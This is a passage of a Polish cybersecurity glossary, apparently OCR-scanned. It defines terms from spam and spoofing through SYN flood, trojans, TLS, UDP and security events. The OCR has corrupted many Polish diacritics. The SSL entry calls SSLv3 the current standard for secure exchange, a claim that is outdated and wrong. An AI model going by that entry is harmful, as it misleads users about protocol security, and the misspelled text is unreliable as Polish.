Spam to najczesciej wiadomosci reklamujace produkty

lub ustugi.

Spoofing — dziatanie wykorzystywane w naduzyciach

w sieci Internet. Najczesciej wykorzystywany jest: Spoofing
adresu IP, podczas ktérego atakujgcy ukrywa prawdziwy
adres wskazujgc na inne zrédto ataku, Spoofing adresu
e-mail, w ktérym atakujgcy podszywa sie pod innego
nadawce oraz Spoofing domen, ktéry podczas ataku
typu Phishing ma nakfoni¢ ofiare do klikniecia w link

i odwiedzenia odpowiednio spreparowanej strony
internetowej podszywajacej sie pod znany podmiot

(np. strona internetowa banku, firmy kurierskiej czy
znanej organizacji publicznej) — patrz Phishing.

Spyware (ang. spy software) — program szpiegujacy
dziatania uzytkownika bez jego wiedzy Zbierane informacije
dotyczg m. in. adreséw odwiedzanych stron internetowych,
adresow e-mail, haset czy numerdéw kart kredytowych.

Do programéw typu spyware nalezg m. in. adware, trojany

i keyloggery.

SSL (ang. Secure Socket Layer) — bezpieczny protokot
zapewniajgcy poufnosé i integralnos¢ transmisji danych.
Obecnie najczesciej uzywana jest wersja SSLv3 uznawana
za standard bezpiecznej wymiany danych i rozwijana

pod nazwa TLS (ang. Transport Layer Security).

SSL negocjacja — etap, w ktorym uczestnicy konwersacji
(systemy) dostosowujg wzajemnie optymalne parametry
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komunikacji w taki sposéb, aby zapewni¢ maksymalng
zgodnos¢ protokotu (algorytmdéw) pomiedzy stronami.
Jest to bardzo uzyteczna ale tez niebezpieczna funkcja
w przypadku podatnych wersji protokotu.

SYN (ang. synchronization) — jedna z flag protokotu TCP,
wystana przez klienta do serwera w celu zainicjalizowania
potaczenia.

SYN Flood (ang. flood - zalanie) — atak oparty jest

na podatnosci protokotu TCP w procedurze three-way
handshake. Atakujacy wysyta na porty TCP datagramy

z flaga SYN, ktéra stuzy do inicjowania potaczenia
pomiedzy hostem zrédtowym a docelowym. Nastepnie,
system atakowanego odpowiada wiadomoscia SYN-ACK,
ktora otwiera port i czeka na potwierdzenie nawigzania
potaczenia - czeka na flage ACK od atakujgcego.

Kolejny datagram z flagg ACK jednak nie jest przesytany,
przez co potaczenie nigdy nie jest w petni ustanawiane,
ale przez okreslony czas ,ofiara” oczekuje na potwierdzenie
utrzymujgc tablice sesji, co wykorzystuje jej zasoby.

TCP (ang. Transmission Control Protocol) — protokét
potaczeniowy; jeden z podstawowych protokotow
sieciowych, stuzgcy do sterowania transmisjg danych
w sieci internet. Wymaga nawigzania potgczenia
pomiedzy urzadzeniami w sieci i umozliwia uzyskanie
potwierdzenia, ze dane dotarty do adresata.

Trojan — kon trojanski; ztosliwy program, ktéry umozliwia
cyberprzestepcy zdalne przejecie petnej kontroli nad
systemem komputerowym. Instalacja konia trojanskiego
najczesciej odbywa sie poprzez uruchomienie ztosliwych
aplikacji pochodzacych z niezaufanych stron internetowych
lub zatacznikéw mailowych. Poza zdalnym wykonywaniem
komend, trojan moze umozliwi¢ podstuchanie komunikacji

i przechwyci¢ hasta uzytkownika.

TLS (ang. Transport Layer Security) — bezpieczny
protokot zapewniajgcy poufnosé i integralno$é transmis;ji
danych. Obecnie najczesciej uzywana jest wersja

TLS 1.2, ale coraz wiecej ustug w internecie wykorzystuje
wersje TLS 1.3.

UDP (ang. User Datagram Protocol) — protokét
bezpotaczeniowy, jeden z podstawowych protokotéw
sieciowych. W przeciwierstwie do TCP, nie wymaga

on nawigzywania potgczenia, obserwowania sesji miedzy
urzgdzeniami i potwierdzenia, ze dane dotarty do adresata.
Dzieki czemu wykorzystywany jest do transmisji

w czasie rzeczywistym (real-time).

URL (ang. Universal Resource Locator) — adres uzywany
do identyfikacji serwerow i ich zasobdw. Niezbedny
w wielu protokotach internetowych (np. HTTP).

Use Case (ang. Przypadek Uzycia) — moze by¢ swoistg
procedura, scenariuszem dziatania czy zbiorem wymagan.
Termin najczesciej stosowany w przesztosci w inzynietii
oprogramowania, ale obecnie jest bardzo popularny

w wielu obszarach dotyczacych IT, a nawet innych
dziedzin technicznych.
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VoIP - (ang. Voice Over Internet Protocol) — ,,telefonia
internetowa”; technika umozliwiajgca przesytanie dzwiekéw
mowy za pomoca taczy internetowych. Dane dzwiekowe
przesyfane sg przy wykorzystaniu protokotu IP.

Wirus (ang. virus) — ztosliwy program lub fragment

kodu ukryty wewnatrz innego programu, ktory replikuje
sie w systemie operacyjnym uzytkownika. W zalezno$ci
od typu wirusa, posiada on rézne funkcje destrukcyjne,
od wyswietlania napiséw na monitorze, poprzez usuwanie
plikdw, a nawet formatowanie dysku. Od dekady,

ten typ zagrozenia ma coraz mniejsze znaczenie

na rzecz innych zagrozen.

Zdarzenie (ang. Event) — pojedyncza zarejestrowna
aktywnos$¢ w systemie wynikajgca z dziatan uzytkownika,
aplikaciji, ustugi itp. Kilka powigzanych ze soba zdarzen
moze w systemach monitorujgcych bezpieczerstwo
(patrz: SIEM) wygenerowaé incydent, ktéry powinien
zosta¢ poddany analizie automatycznej lub reczne;j.
Zdarzenie moze przeksztatcié sie w incydent.

Nawet jedno zdarzenie wynikajgce z nieprawidtowego
dziatania systemu, przetamania zabezpieczen lub innym
wrogim dziataniem moze zosta¢ zakwalifikowane

jako incydent.




Wiecej informacji znajdziesz na:
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